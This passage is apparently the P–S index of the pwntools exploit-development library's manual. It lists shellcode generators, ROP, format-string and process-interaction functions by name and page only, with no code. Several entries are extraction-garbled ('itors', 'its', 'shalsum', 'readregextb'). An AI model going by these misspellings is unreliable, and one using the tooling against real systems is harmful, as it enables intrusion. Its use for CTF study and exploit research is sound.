- `poll()` (`pwnlib.tubes.ssh.ssh_channel` method), 202
- `popad()` (in module `pwnlib.shellcraft.amd64`), 135
- `popad()` (in module `pwnlib.shellcraft.thumb`), 173
- `port` (`pwnlib.tubes.ssh.ssh` attribute), 202
- `powerset()` (in module `pwnlib.util.itors`), 283
- `ppid` (`pwnlib.elf.corefile.Corefile` attribute), 73
- `print_binutils_instructions()` (in module `pwnlib.asm`), 34
- `printable()` (in module `pwnlib.encoders.encoder`), 52
- `proc` (`pwnlib.tubes.process.process` attribute), 187
- `proc_exe()` (in module `pwnlib.adb.adb`), 25
- `Process` (class in `pwnlib.protocols.adb`), 108
- `process` (class in `pwnlib.tubes.process`), 182
- `process()` (in module `pwnlib.adb.adb`), 25
- `process()` (`pwnlib.elf.elf.ELF` method), 56
- `process()` (`pwnlib.tubes.ssh.ssh` method), 195
- `product()` (in module `pwnlib.adb.adb`), 25
- `product()` (in module `pwnlib.util.itors`), 288
- `program` (`pwnlib.tubes.process.process` attribute), 187
- `Progress` (class in `pwnlib.log`), 94
- `progress()` (`pwnlib.log.Logger` method), 95
- `prolog()` (in module `pwnlib.shellcraft.i386`), 152
- `protocol` (`pwnlib.tubes.listen.listen` attribute), 190
- `protocol` (`pwnlib.tubes.server.server` attribute), 191
- `proxy` (`pwnlib.context.ContextType` attribute), 46
- `proxy()` (in module `pwnlib.protocols.adb`), 108
- `prpsinfo` (`pwnlib.elf.corefile.Corefile` attribute), 73
- `prstatus` (`pwnlib.elf.corefile.Corefile` attribute), 73
- `pty` (`pwnlib.tubes.process.process` attribute), 187
- `pull()` (in module `pwnlib.adb.adb`), 25
- `push()` (in module `pwnlib.adb.adb`), 25
- `push()` (in module `pwnlib.shellcraft.aarch64`), 126
- `push()` (in module `pwnlib.shellcraft.amd64`), 135
- `push()` (in module `pwnlib.shellcraft.arm`), 145
- `push()` (in module `pwnlib.shellcraft.i386`), 152
- `push()` (in module `pwnlib.shellcraft.mips`), 164
- `push()` (in module `pwnlib.shellcraft.thumb`), 173
- `pushad()` (in module `pwnlib.shellcraft.amd64`), 135
- `pushad()` (in module `pwnlib.shellcraft.thumb`), 174
- `pushstr()` (in module `pwnlib.shellcraft.aarch64`), 127
- `pushstr()` (in module `pwnlib.shellcraft.amd64`), 135
- `pushstr()` (in module `pwnlib.shellcraft.arm`), 145
- `pushstr()` (in module `pwnlib.shellcraft.i386`), 153
- `pushstr()` (in module `pwnlib.shellcraft.mips`), 164
- `pushstr()` (in module `pwnlib.shellcraft.thumb`), 174
- `pushstr_array()` (in module `pwnlib.shellcraft.amd64`), 136
- `pushstr_array()` (in module `pwnlib.shellcraft.arm`), 145
- `pushstr_array()` (in module `pwnlib.shellcraft.i386`), 154
- `pushstr_array()` (in module `pwnlib.shellcraft.mips`), 165
- `pushstr_array()` (in module `pwnlib.shellcraft.thumb`), 174
- `put()` (`pwnlib.tubes.ssh.ssh` method), 197
- `pwn` (module), 3
- `pwn` command line option
 - `-h`, `-help`, 12
- `pwn-asm` command line option
 - `-d`, `-debug`, 13
 - `-e` <encoder>, `-encoder` <encoder>, 13
 - `-f` {raw,hex,string,elf}, `-format` {raw,hex,string,elf}, 13
 - `-h`, `-help`, 13
 - `-i` <infile>, `-infile` <infile>, 13
 - `-n`, `-newline`, 13
 - `-o` <file>, `-output` <file>, 13
 - `-r`, `-run`, 13
 - `-v` <avoid>, `-avoid` <avoid>, 13
 - `-z`, `-zero`, 13
 - line, 12
- `pwn-checksec` command line option
 - `-file` <elf>, 13
 - `-h`, `-help`, 13
 - elf, 13
- `pwn-constgrep` command line option
 - `-e` <constant>, `-exact` <constant>, 14
 - `-h`, `-help`, 14
 - `-i`, `-case-insensitive`, 14
 - `-m`, `-mask-mode`, 14
 - constant, 14
 - regex, 13
- `pwn-cyclic` command line option
 - `-a` <alphabet>, `-alphabet` <alphabet>, 14
 - `-h`, `-help`, 14
 - `-l` <lookup_value>, `-o` <lookup_value>, `-offset` <lookup_value>, `-lookup` <lookup_value>, 14
 - `-n` <length>, `-length` <length>, 14
 - count, 14

pwn-debug command line option

-exec <executable>, 15
 -pid <pid>, 15
 -process <process_name>, 15
 -sysroot <sysroot>, 15
 -h, -help, 14
 -x <gdbscript>, 14

pwn-disablenx command line option

-h, -help, 15
 elf, 15

pwn-disasm command line option

-color, 15
 -no-color, 15
 -a <address>, -address <address>, 15
 -h, -help, 15
 hex, 15

pwn-elfdiff command line option

-h, -help, 16
 a, 16
 b, 16

pwn-elfpatch command line option

-h, -help, 16
 bytes, 16
 elf, 16
 offset, 16

pwn-errno command line option

-h, -help, 16
 error, 16

pwn-hex command line option

-h, -help, 16
 data, 16

pwn-phd command line option

-color {always,never,auto}, 17
 -c <count>, -count <count>, 17
 -h, -help, 17
 -l <highlight>, -highlight
 <highlight>, 17
 -o <offset>, -offset <offset>, 17
 -s <skip>, -skip <skip>, 17
 -w <width>, -width <width>, 17
 file, 16

pwn-pwnstrip command line option

-b, -build-id, 17
 -h, -help, 17
 -o <output>, -output <output>, 17
 -p <function>, -patch <function>, 17
 file, 17

pwn-scramble command line option

-d, -debug, 18
 -f {raw,hex,string,elf}, -format
 {raw,hex,string,elf}, 17
 -h, -help, 17
 -n, -newline, 18
 -o <file>, -output <file>, 17

-p, -alphanumeric, 18

-v <avoid>, -avoid <avoid>, 18

-z, -zero, 18

pwn-shellcraft command line option

-address <address>, 19
 -color, 19
 -no-color, 19
 -syscalls, 19
 -?, -show, 18
 -a, -after, 18
 -b, -before, 18
 -d, -debug, 18
 -f {r,raw,s,str,string,c,h,hex,a,asm,assembly,p
 -format {r,raw,s,str,string,c,h,hex,a,asm,as
 18
 -h, -help, 18
 -l, -list, 19
 -n, -newline, 18
 -o <file>, -out <file>, 18
 -r, -run, 18
 -s, -shared, 19
 -v <avoid>, -avoid <avoid>, 18
 -z, -zero, 18
 arg, 18
 shellcode, 18

pwn-template command line option

-host <host>, 19
 -pass <password>, 19
 -path <path>, 19
 -port <port>, 19
 -quiet, 19
 -user <user>, 19
 -h, -help, 19
 exe, 19

pwn-unhex command line option

-h, -help, 19
 hex, 19

pwn-update command line option

-install, 20
 -pre, 20
 -h, -help, 20

pwnlib (*module*), 4

pwnlib.adb.adb (*module*), 21

pwnlib.adb.protocol (*module*), 28

pwnlib.args (*module*), 29

pwnlib.asm (*module*), 30

pwnlib.atexception (*module*), 34

pwnlib.atexit (*module*), 34

pwnlib.config (*module*), 36

pwnlib.constants (*module*), 35

pwnlib.context (*module*), 37

pwnlib.dynelf (*module*), 49

pwnlib.elf (*module*), 52

pwnlib.elf.config (*module*), 66

pwnlib.elf.corefile (*module*), 66
 pwnlib.elf.elf (*module*), 52
 pwnlib.encoders (*module*), 51
 pwnlib.encoders.amd64 (*module*), 52
 pwnlib.encoders.arm (*module*), 52
 pwnlib.encoders.encoder (*module*), 51
 pwnlib.encoders.i386 (*module*), 52
 pwnlib.encoders.i386.xor (*module*), 52
 pwnlib.exception (*module*), 75
 pwnlib.flag (*module*), 76
 pwnlib.fmtstr (*module*), 76
 pwnlib.gdb (*module*), 84
 pwnlib.libcddb (*module*), 91
 pwnlib.log (*module*), 93
 pwnlib.memleak (*module*), 97
 pwnlib.protocols (*module*), 105
 pwnlib.protocols.adb (*module*), 105
 pwnlib.qemu (*module*), 108
 pwnlib.regsort (*module*), 168
 pwnlib.replacements (*module*), 110
 pwnlib.rop.rop (*module*), 110
 pwnlib.rop.srop (*module*), 119
 pwnlib.runner (*module*), 124
 pwnlib.shellcraft (*module*), 125
 pwnlib.shellcraft.aarch64 (*module*), 125
 pwnlib.shellcraft.aarch64.linux (*module*), 129
 pwnlib.shellcraft.amd64 (*module*), 132
 pwnlib.shellcraft.amd64.linux (*module*), 138
 pwnlib.shellcraft.arm (*module*), 143
 pwnlib.shellcraft.arm.linux (*module*), 147
 pwnlib.shellcraft.common (*module*), 149
 pwnlib.shellcraft.i386 (*module*), 149
 pwnlib.shellcraft.i386.freebsd (*module*), 162
 pwnlib.shellcraft.i386.linux (*module*), 156
 pwnlib.shellcraft.mips (*module*), 163
 pwnlib.shellcraft.mips.linux (*module*), 166
 pwnlib.shellcraft.thumb (*module*), 171
 pwnlib.shellcraft.thumb.linux (*module*), 175
 pwnlib.term (*module*), 179
 pwnlib.testexample (*module*), 314
 pwnlib.timeout (*module*), 179
 pwnlib.tubes (*module*), 181
 pwnlib.tubes.buffer (*module*), 181
 pwnlib.tubes.listen (*module*), 189
 pwnlib.tubes.process (*module*), 182
 pwnlib.tubes.remote (*module*), 188
 pwnlib.tubes.serialtube (*module*), 188
 pwnlib.tubes.server (*module*), 191
 pwnlib.tubes.sock (*module*), 188
 pwnlib.tubes.ssh (*module*), 192

pwnlib.tubes.tube (*module*), 202
 pwnlib.ui (*module*), 217
 pwnlib.update (*module*), 218
 pwnlib.useragents (*module*), 219
 pwnlib.util.crc (*module*), 219
 pwnlib.util.cyclic (*module*), 263
 pwnlib.util.fiddling (*module*), 266
 pwnlib.util.getdents (*module*), 276
 pwnlib.util.hashes (*module*), 276
 pwnlib.util.iters (*module*), 278
 pwnlib.util.lists (*module*), 289
 pwnlib.util.misc (*module*), 290
 pwnlib.util.net (*module*), 295
 pwnlib.util.packing (*module*), 296
 pwnlib.util.proc (*module*), 303
 pwnlib.util.safeeval (*module*), 307
 pwnlib.util.sh_string (*module*), 308
 pwnlib.util.web (*module*), 313
 PwnlibArgs (*class in pwnlib.args*), 29
 PwnlibException, 75

Q

q () (*pwnlib.memleak.MemLeak method*), 101
 quantify () (*in module pwnlib.util.iters*), 283
 quiet (*pwnlib.context.ContextType attribute*), 46
 quietfunc () (*pwnlib.context.ContextType method*), 40

R

random () (*in module pwnlib.useragents*), 219
 random_combination () (*in module pwnlib.util.iters*), 283
 random_combination_with_replacement () (*in module pwnlib.util.iters*), 284
 random_permutation () (*in module pwnlib.util.iters*), 284
 random_product () (*in module pwnlib.util.iters*), 284
 randomize (*pwnlib.context.ContextType attribute*), 46
 RANDOMIZE () (*in module pwnlib.args*), 29
 randomness () (*in module pwnlib.util.fiddling*), 273
 raw (*pwnlib.tubes.process.process attribute*), 187
 raw () (*pwnlib.memleak.MemLeak method*), 102
 raw () (*pwnlib.rop.rop.ROP method*), 117
 read () (*in module pwnlib.adb.adb*), 26
 read () (*in module pwnlib.shellcraft.amd64.linux*), 140
 read () (*in module pwnlib.util.misc*), 291
 read () (*pwnlib.elf.elf.ELF method*), 56
 read () (*pwnlib.protocols.adb.AdbClient method*), 106
 read () (*pwnlib.tubes.ssh.ssh method*), 197
 read () (*pwnlib.tubes.tube.tube method*), 205
 read_raw () (*pwnlib.tubes.tube.tube method*), 205
 read_upto () (*in module pwnlib.shellcraft.amd64.linux*), 140
 readall () (*pwnlib.tubes.tube.tube method*), 205

[readallb\(\) \(pwnlib.tubes.tube.tube method\), 205](#)
[readallS\(\) \(pwnlib.tubes.tube.tube method\), 205](#)
[readb\(\) \(pwnlib.tubes.tube.tube method\), 205](#)
[readfile\(\) \(in module pwnlib.shellcraft.amd64.linux\), 140](#)
[readfile\(\) \(in module pwnlib.shellcraft.i386.linux\), 159](#)
[readfile\(\) \(in module pwnlib.shellcraft.mips.linux\), 167](#)
[readfile\(\) \(in module pwnlib.shellcraft.thumb.linux\), 177](#)
[readinto\(\) \(in module pwnlib.shellcraft.amd64.linux\), 140](#)
[readline\(\) \(pwnlib.tubes.tube.tube method\), 205](#)
[readline_contains\(\) \(pwnlib.tubes.tube.tube method\), 205](#)
[readline_containsb\(\) \(pwnlib.tubes.tube.tube method\), 205](#)
[readline_containsS\(\) \(pwnlib.tubes.tube.tube method\), 205](#)
[readline_endswith\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readline_endswithb\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readline_endswithS\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readline_pred\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readline_regex\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readline_regexp\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readline_regexS\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readline_startswith\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readline_startswithb\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readline_startswithS\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readlineb\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readlines\(\) \(pwnlib.tubes.tube.tube method\), 205](#)
[readlines\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readlinesb\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readlinesS\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readloop\(\) \(in module pwnlib.shellcraft.amd64.linux\), 140](#)
[readn\(\) \(in module pwnlib.shellcraft.aarch64.linux\), 131](#)
[readn\(\) \(in module pwnlib.shellcraft.amd64.linux\), 140](#)
[readn\(\) \(in module pwnlib.shellcraft.i386.linux\), 159](#)
[readn\(\) \(in module pwnlib.shellcraft.thumb.linux\), 177](#)
[readn\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readnb\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readnS\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readpred\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readpredb\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readpredS\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readptr\(\) \(in module pwnlib.shellcraft.amd64.linux\), 141](#)
[readregex\(\) \(pwnlib.tubes.tube.tube method\), 206](#)
[readregextb\(\) \(pwnlib.tubes.tube.tube method\), 207](#)
[readregexS\(\) \(pwnlib.tubes.tube.tube method\), 207](#)
[readrepeat\(\) \(pwnlib.tubes.tube.tube method\), 207](#)
[readrepeatb\(\) \(pwnlib.tubes.tube.tube method\), 207](#)
[readrepeatS\(\) \(pwnlib.tubes.tube.tube method\), 207](#)
[readS\(\) \(pwnlib.tubes.tube.tube method\), 205](#)
[readuntil\(\) \(pwnlib.tubes.tube.tube method\), 207](#)
[readuntilb\(\) \(pwnlib.tubes.tube.tube method\), 207](#)
[readuntilS\(\) \(pwnlib.tubes.tube.tube method\), 207](#)
[reboot\(\) \(in module pwnlib.adb.adb\), 26](#)
[reboot_bootloader\(\) \(in module pwnlib.adb.adb\), 26](#)
[recv\(\) \(pwnlib.tubes.tube.tube method\), 207](#)
[recv_raw\(\) \(pwnlib.tubes.process.process method\), 186](#)
[recv_raw\(\) \(pwnlib.tubes.serialtube.serialtube method\), 188](#)
[recvall\(\) \(pwnlib.tubes.tube.tube method\), 207](#)
[recvallb\(\) \(pwnlib.tubes.tube.tube method\), 208](#)
[recvallS\(\) \(pwnlib.tubes.tube.tube method\), 207](#)
[recvb\(\) \(pwnlib.tubes.tube.tube method\), 208](#)
[recvl\(\) \(pwnlib.protocols.adb.AdbClient method\), 107](#)
[recvline\(\) \(pwnlib.tubes.tube.tube method\), 208](#)
[recvline_contains\(\) \(pwnlib.tubes.tube.tube method\), 208](#)
[recvline_containsb\(\) \(pwnlib.tubes.tube.tube method\), 209](#)
[recvline_containsS\(\) \(pwnlib.tubes.tube.tube method\), 209](#)
[recvline_endswith\(\) \(pwnlib.tubes.tube.tube method\), 209](#)
[recvline_endswithb\(\) \(pwnlib.tubes.tube.tube method\), 209](#)
[recvline_endswithS\(\) \(pwnlib.tubes.tube.tube method\), 209](#)
[recvline_pred\(\) \(pwnlib.tubes.tube.tube method\), 209](#)
[recvline_regex\(\) \(pwnlib.tubes.tube.tube method\), 210](#)
[recvline_regextb\(\) \(pwnlib.tubes.tube.tube method\), 210](#)
[recvline_regexS\(\) \(pwnlib.tubes.tube.tube method\), 210](#)
[recvline_startswith\(\) \(pwnlib.tubes.tube.tube method\), 210](#)
[recvline_startswithb\(\) \(pwnlib.tubes.tube.tube](#)

method), 210
 recvline_startswithS() (pwnlib.tubes.tube.tube method), 210
 recvlineb() (pwnlib.tubes.tube.tube method), 210
 recvlines() (pwnlib.tubes.tube.tube method), 208
 recvlines() (pwnlib.tubes.tube.tube method), 211
 recvlinesb() (pwnlib.tubes.tube.tube method), 211
 recvlinesS() (pwnlib.tubes.tube.tube method), 211
 recvn() (pwnlib.tubes.tube.tube method), 212
 recvnb() (pwnlib.tubes.tube.tube method), 212
 recvnS() (pwnlib.tubes.tube.tube method), 212
 recvpred() (pwnlib.tubes.tube.tube method), 212
 recvpredb() (pwnlib.tubes.tube.tube method), 213
 recvpredS() (pwnlib.tubes.tube.tube method), 213
 recvregex() (pwnlib.tubes.tube.tube method), 213
 recvregexb() (pwnlib.tubes.tube.tube method), 213
 recvregexS() (pwnlib.tubes.tube.tube method), 213
 recvrepeat() (pwnlib.tubes.tube.tube method), 213
 recvrepeatb() (pwnlib.tubes.tube.tube method), 213
 recvrepeatS() (pwnlib.tubes.tube.tube method), 213
 recvS() (pwnlib.tubes.tube.tube method), 207
 recvsize() (in module pwnlib.shellcraft.amd64.linux), 141
 recvsize() (in module pwnlib.shellcraft.i386.linux), 159
 recvsize() (in module pwnlib.shellcraft.thumb.linux), 177
 recvuntil() (pwnlib.tubes.tube.tube method), 213
 recvuntilb() (pwnlib.tubes.tube.tube method), 214
 recvuntilS() (pwnlib.tubes.tube.tube method), 214
 regex
 pwn-constgrep command line option, 13
 register() (in module pwnlib.atexception), 34
 register() (in module pwnlib.atexit), 35
 register_sizes() (in module pwnlib.util.misc), 291
 registers (pwnlib.elf.corefile.Corefile attribute), 73
 regsort() (in module pwnlib.regsort), 169
 RelativeMemLeak (class in pwnlib.memleak), 105
 relro (pwnlib.elf.elf.ELF attribute), 63
 remote (class in pwnlib.tubes.remote), 188
 remote() (pwnlib.tubes.ssh.ssh method), 197
 remount() (in module pwnlib.adb.adb), 26
 removeHandler() (pwnlib.log.Logger method), 96
 rename_corefiles (pwnlib.context.ContextType attribute), 47
 repeat() (in module pwnlib.util.its), 288
 repeat_func() (in module pwnlib.util.its), 285
 replace() (pwnlib.fmtstr.AtomWrite method), 78
 reset_local() (pwnlib.context.ContextType method), 40
 resolve() (pwnlib.rop.rop.ROP method), 118
 resolve_order() (in module pwnlib.regsort), 171
 ret() (in module pwnlib.shellcraft.amd64), 136

ret() (in module pwnlib.shellcraft.arm), 145
 ret() (in module pwnlib.shellcraft.i386), 154
 ret() (in module pwnlib.shellcraft.thumb), 174
 rfind() (pwnlib.elf.corefile.Mapping method), 74
 rol() (in module pwnlib.util.fiddling), 273
 root() (in module pwnlib.adb.adb), 26
 ROP (class in pwnlib.rop.rop), 115
 ror() (in module pwnlib.util.fiddling), 274
 roundrobin() (in module pwnlib.util.its), 285
 routine() (in module pwnlib.util.packing), 301
 rpath (pwnlib.elf.elf.ELF attribute), 64
 run() (pwnlib.tubes.ssh.ssh method), 198
 run_assembly() (in module pwnlib.runner), 124
 run_assembly_exitcode() (in module pwnlib.runner), 124
 run_in_new_terminal() (in module pwnlib.util.misc), 293
 run_shellcode() (in module pwnlib.runner), 124
 run_shellcode_exitcode() (in module pwnlib.runner), 124
 run_to_end() (pwnlib.tubes.ssh.ssh method), 198
 runpath (pwnlib.elf.elf.ELF attribute), 64
 rwx_segments (pwnlib.elf.elf.ELF attribute), 64

S

s() (pwnlib.memleak.MemLeak method), 102
 save() (pwnlib.elf.elf.ELF method), 57
 scramble() (in module pwnlib.encoders.encoder), 52
 search() (pwnlib.elf.elf.ELF method), 57
 search() (pwnlib.rop.rop.ROP method), 118
 search_by_build_id() (in module pwnlib.libcddb), 91
 search_by_md5() (in module pwnlib.libcddb), 92
 search_by_shal() (in module pwnlib.libcddb), 92
 search_by_sha256() (in module pwnlib.libcddb), 92
 search_iter() (pwnlib.rop.rop.ROP method), 118
 section() (pwnlib.elf.elf.ELF method), 58
 sections (pwnlib.elf.elf.ELF attribute), 64
 segments (pwnlib.elf.elf.ELF attribute), 64
 send() (pwnlib.protocols.adb.AdbClient method), 107
 send() (pwnlib.tubes.tube.tube method), 214
 send_raw() (pwnlib.tubes.process.process method), 186
 send_raw() (pwnlib.tubes.serialtube.serialtube method), 188
 sendafter() (pwnlib.tubes.tube.tube method), 215
 sendline() (pwnlib.tubes.tube.tube method), 215
 sendlineafter() (pwnlib.tubes.tube.tube method), 215
 sendlinethen() (pwnlib.tubes.tube.tube method), 215
 sendthen() (pwnlib.tubes.tube.tube method), 215
 serialtube (class in pwnlib.tubes.serialtube), 188
 server (class in pwnlib.tubes.server), 191

[set_regvalue\(\)](#) (*pwnlib.rop.srop.SigreturnFrame method*), 123
[set_working_directory\(\)](#) (*pwnlib.tubes.ssh.ssh method*), 198
[setb\(\)](#) (*pwnlib.memleak.MemLeak method*), 102
[setd\(\)](#) (*pwnlib.memleak.MemLeak method*), 102
[setLevel\(\)](#) (*pwnlib.log.Logger method*), 96
[setprop\(\)](#) (*in module pwnlib.adb.adb*), 26
[setq\(\)](#) (*pwnlib.memleak.MemLeak method*), 103
[setregid\(\)](#) (*in module pwnlib.shellcraft.amd64.linux*), 141
[setregid\(\)](#) (*in module pwnlib.shellcraft.i386.linux*), 159
[setRegisters\(\)](#) (*pwnlib.rop.rop.ROP method*), 118
[setregs\(\)](#) (*in module pwnlib.shellcraft.aarch64*), 128
[setregs\(\)](#) (*in module pwnlib.shellcraft.amd64*), 137
[setregs\(\)](#) (*in module pwnlib.shellcraft.arm*), 145
[setregs\(\)](#) (*in module pwnlib.shellcraft.i386*), 154
[setregs\(\)](#) (*in module pwnlib.shellcraft.mips*), 165
[setregs\(\)](#) (*in module pwnlib.shellcraft.thumb*), 174
[setreuid\(\)](#) (*in module pwnlib.shellcraft.amd64.linux*), 141
[setreuid\(\)](#) (*in module pwnlib.shellcraft.i386.linux*), 159
[sets\(\)](#) (*pwnlib.memleak.MemLeak method*), 103
[settimeout\(\)](#) (*pwnlib.tubes.tube.tube method*), 215
[settimeout_raw\(\)](#) (*pwnlib.tubes.process.process method*), 186
[settimeout_raw\(\)](#) (*pwnlib.tubes.serialtube.serialtube method*), 188
[setw\(\)](#) (*pwnlib.memleak.MemLeak method*), 103
[sftp](#) (*pwnlib.tubes.ssh.ssh attribute*), 202
[sh\(\)](#) (*in module pwnlib.shellcraft.aarch64.linux*), 131
[sh\(\)](#) (*in module pwnlib.shellcraft.amd64.linux*), 141
[sh\(\)](#) (*in module pwnlib.shellcraft.arm.linux*), 148
[sh\(\)](#) (*in module pwnlib.shellcraft.i386.freebsd*), 162
[sh\(\)](#) (*in module pwnlib.shellcraft.i386.linux*), 159
[sh\(\)](#) (*in module pwnlib.shellcraft.mips.linux*), 167
[sh\(\)](#) (*in module pwnlib.shellcraft.thumb.linux*), 177
[sh_command_with\(\)](#) (*in module pwnlib.util.sh_string*), 311
[sh_prepare\(\)](#) (*in module pwnlib.util.sh_string*), 312
[sh_string\(\)](#) (*in module pwnlib.util.sh_string*), 313
[shalfile\(\)](#) (*in module pwnlib.util.hashes*), 277
[shalfilehex\(\)](#) (*in module pwnlib.util.hashes*), 277
[shalsum\(\)](#) (*in module pwnlib.util.hashes*), 277
[shalsumhex\(\)](#) (*in module pwnlib.util.hashes*), 277
[sha224file\(\)](#) (*in module pwnlib.util.hashes*), 277
[sha224filehex\(\)](#) (*in module pwnlib.util.hashes*), 277
[sha224sum\(\)](#) (*in module pwnlib.util.hashes*), 277
[sha224sumhex\(\)](#) (*in module pwnlib.util.hashes*), 277
[sha256file\(\)](#) (*in module pwnlib.util.hashes*), 277
[sha256filehex\(\)](#) (*in module pwnlib.util.hashes*), 277
[sha256sum\(\)](#) (*in module pwnlib.util.hashes*), 277
[sha256sumhex\(\)](#) (*in module pwnlib.util.hashes*), 277
[sha384file\(\)](#) (*in module pwnlib.util.hashes*), 277
[sha384filehex\(\)](#) (*in module pwnlib.util.hashes*), 277
[sha384sum\(\)](#) (*in module pwnlib.util.hashes*), 277
[sha384sumhex\(\)](#) (*in module pwnlib.util.hashes*), 277
[sha512file\(\)](#) (*in module pwnlib.util.hashes*), 277
[sha512filehex\(\)](#) (*in module pwnlib.util.hashes*), 277
[sha512sum\(\)](#) (*in module pwnlib.util.hashes*), 277
[sha512sumhex\(\)](#) (*in module pwnlib.util.hashes*), 277
[shell\(\)](#) (*in module pwnlib.adb.adb*), 26
[shell\(\)](#) (*pwnlib.tubes.ssh.ssh method*), 199
[shellcode](#)
 pwn-shellcraft command line option, 18
[should_check\(\)](#) (*in module pwnlib.update*), 219
[shutdown\(\)](#) (*pwnlib.tubes.tube.tube method*), 215
[shutdown_raw\(\)](#) (*pwnlib.tubes.process.process method*), 186
[shutdown_raw\(\)](#) (*pwnlib.tubes.serialtube.serialtube method*), 188
[siginfo](#) (*pwnlib.elf.corefile.Corefile attribute*), 73
[sign](#) (*pwnlib.context.ContextType attribute*), 47
[signal](#) (*pwnlib.elf.corefile.Corefile attribute*), 74
[signed](#) (*pwnlib.context.ContextType attribute*), 47
[signedness](#) (*pwnlib.context.ContextType attribute*), 47
[signednesses](#) (*pwnlib.context.ContextType attribute*), 47
[SigreturnFrame](#) (*class in pwnlib.rop.srop*), 121
[silent](#) (*pwnlib.context.ContextType attribute*), 47
[SILENT\(\)](#) (*in module pwnlib.args*), 29
[size](#) (*pwnlib.elf.corefile.Mapping attribute*), 75
[size](#) (*pwnlib.elf.elf.Function attribute*), 65
[size\(\)](#) (*in module pwnlib.util.misc*), 294
[sleep\(\)](#) (*in module pwnlib.replacements*), 110
[sock](#) (*class in pwnlib.tubes.sock*), 188
[sockaddr](#) (*pwnlib.tubes.listen.listen attribute*), 190
[sockaddr](#) (*pwnlib.tubes.server.server attribute*), 191
[sockaddr\(\)](#) (*in module pwnlib.util.net*), 295
[socket\(\)](#) (*in module pwnlib.shellcraft.aarch64.linux*), 131
[socket\(\)](#) (*in module pwnlib.shellcraft.amd64.linux*), 141
[socket\(\)](#) (*in module pwnlib.shellcraft.i386.linux*), 159
[socketcall\(\)](#) (*in module pwnlib.shellcraft.i386.linux*), 159
[sort_atoms\(\)](#) (*in module pwnlib.fmtstr*), 84
[sp](#) (*pwnlib.elf.corefile.Corefile attribute*), 74
[spawn_process\(\)](#) (*pwnlib.tubes.listen.listen method*), 190

[spawn_process\(\)](#) (*pwnlib.tubes.tube.tube* method), 216
[ssh](#) (*class* in *pwnlib.tubes.ssh*), 192
[ssh_channel](#) (*class* in *pwnlib.tubes.ssh*), 202
[ssh_connecter](#) (*class* in *pwnlib.tubes.ssh*), 202
[ssh_listener](#) (*class* in *pwnlib.tubes.ssh*), 202
[stack](#) (*pwnlib.elf.corefile.Corefile* attribute), 74
[stack\(\)](#) (*pwnlib.dynelf.DynELF* method), 51
[stackarg\(\)](#) (*in module pwnlib.shellcraft.i386*), 154
[stackhunter\(\)](#) (*in module pwnlib.shellcraft.i386*), 155
[stage\(\)](#) (*in module pwnlib.shellcraft.aarch64.linux*), 131
[stage\(\)](#) (*in module pwnlib.shellcraft.amd64.linux*), 141
[stage\(\)](#) (*in module pwnlib.shellcraft.i386.linux*), 159
[stage\(\)](#) (*in module pwnlib.shellcraft.thumb.linux*), 177
[stager\(\)](#) (*in module pwnlib.shellcraft.amd64.linux*), 141
[stager\(\)](#) (*in module pwnlib.shellcraft.i386.linux*), 160
[stager\(\)](#) (*in module pwnlib.shellcraft.mips.linux*), 167
[stager\(\)](#) (*in module pwnlib.shellcraft.thumb.linux*), 178
[starmap\(\)](#) (*in module pwnlib.util.itors*), 288
[start](#) (*pwnlib.elf.corefile.Mapping* attribute), 75
[start](#) (*pwnlib.elf.elf.ELF* attribute), 64
[starttime\(\)](#) (*in module pwnlib.util.proc*), 305
[stat\(\)](#) (*in module pwnlib.util.proc*), 306
[stat\(\)](#) (*pwnlib.protocols.adb.AdbClient* method), 107
[state\(\)](#) (*in module pwnlib.util.proc*), 306
[statically_linked](#) (*pwnlib.elf.elf.ELF* attribute), 64
[status\(\)](#) (*in module pwnlib.util.proc*), 306
[status\(\)](#) (*pwnlib.log.Progress* method), 94
[stderr](#) (*pwnlib.tubes.process.process* attribute), 187
[STDERR\(\)](#) (*in module pwnlib.args*), 30
[stdin](#) (*pwnlib.tubes.process.process* attribute), 188
[stdout](#) (*pwnlib.tubes.process.process* attribute), 188
[stop](#) (*pwnlib.elf.corefile.Mapping* attribute), 75
[strace_dos\(\)](#) (*in module pwnlib.shellcraft.amd64.linux*), 141
[strcpy\(\)](#) (*in module pwnlib.shellcraft.amd64*), 137
[strcpy\(\)](#) (*in module pwnlib.shellcraft.i386*), 155
[stream\(\)](#) (*pwnlib.tubes.tube.tube* method), 216
[string\(\)](#) (*pwnlib.elf.elf.ELF* method), 58
[String\(\)](#) (*pwnlib.memleak.MemLeak* static method), 98
[strlen\(\)](#) (*in module pwnlib.shellcraft.amd64*), 137
[strlen\(\)](#) (*in module pwnlib.shellcraft.i386*), 155
[struct\(\)](#) (*pwnlib.memleak.MemLeak* method), 103
[submit_flag\(\)](#) (*in module pwnlib.flag*), 76
[success\(\)](#) (*pwnlib.log.Logger* method), 95
[success\(\)](#) (*pwnlib.log.Progress* method), 94
[sym](#) (*pwnlib.elf.elf.ELF* attribute), 64
[symbols](#) (*pwnlib.elf.elf.ELF* attribute), 64
[syscall\(\)](#) (*in module pwnlib.shellcraft.aarch64.linux*), 131
[syscall\(\)](#) (*in module pwnlib.shellcraft.amd64.linux*), 142
[syscall\(\)](#) (*in module pwnlib.shellcraft.arm.linux*), 148
[syscall\(\)](#) (*in module pwnlib.shellcraft.i386.freebsd*), 162
[syscall\(\)](#) (*in module pwnlib.shellcraft.i386.linux*), 160
[syscall\(\)](#) (*in module pwnlib.shellcraft.mips.linux*), 167
[syscall\(\)](#) (*in module pwnlib.shellcraft.thumb.linux*), 178
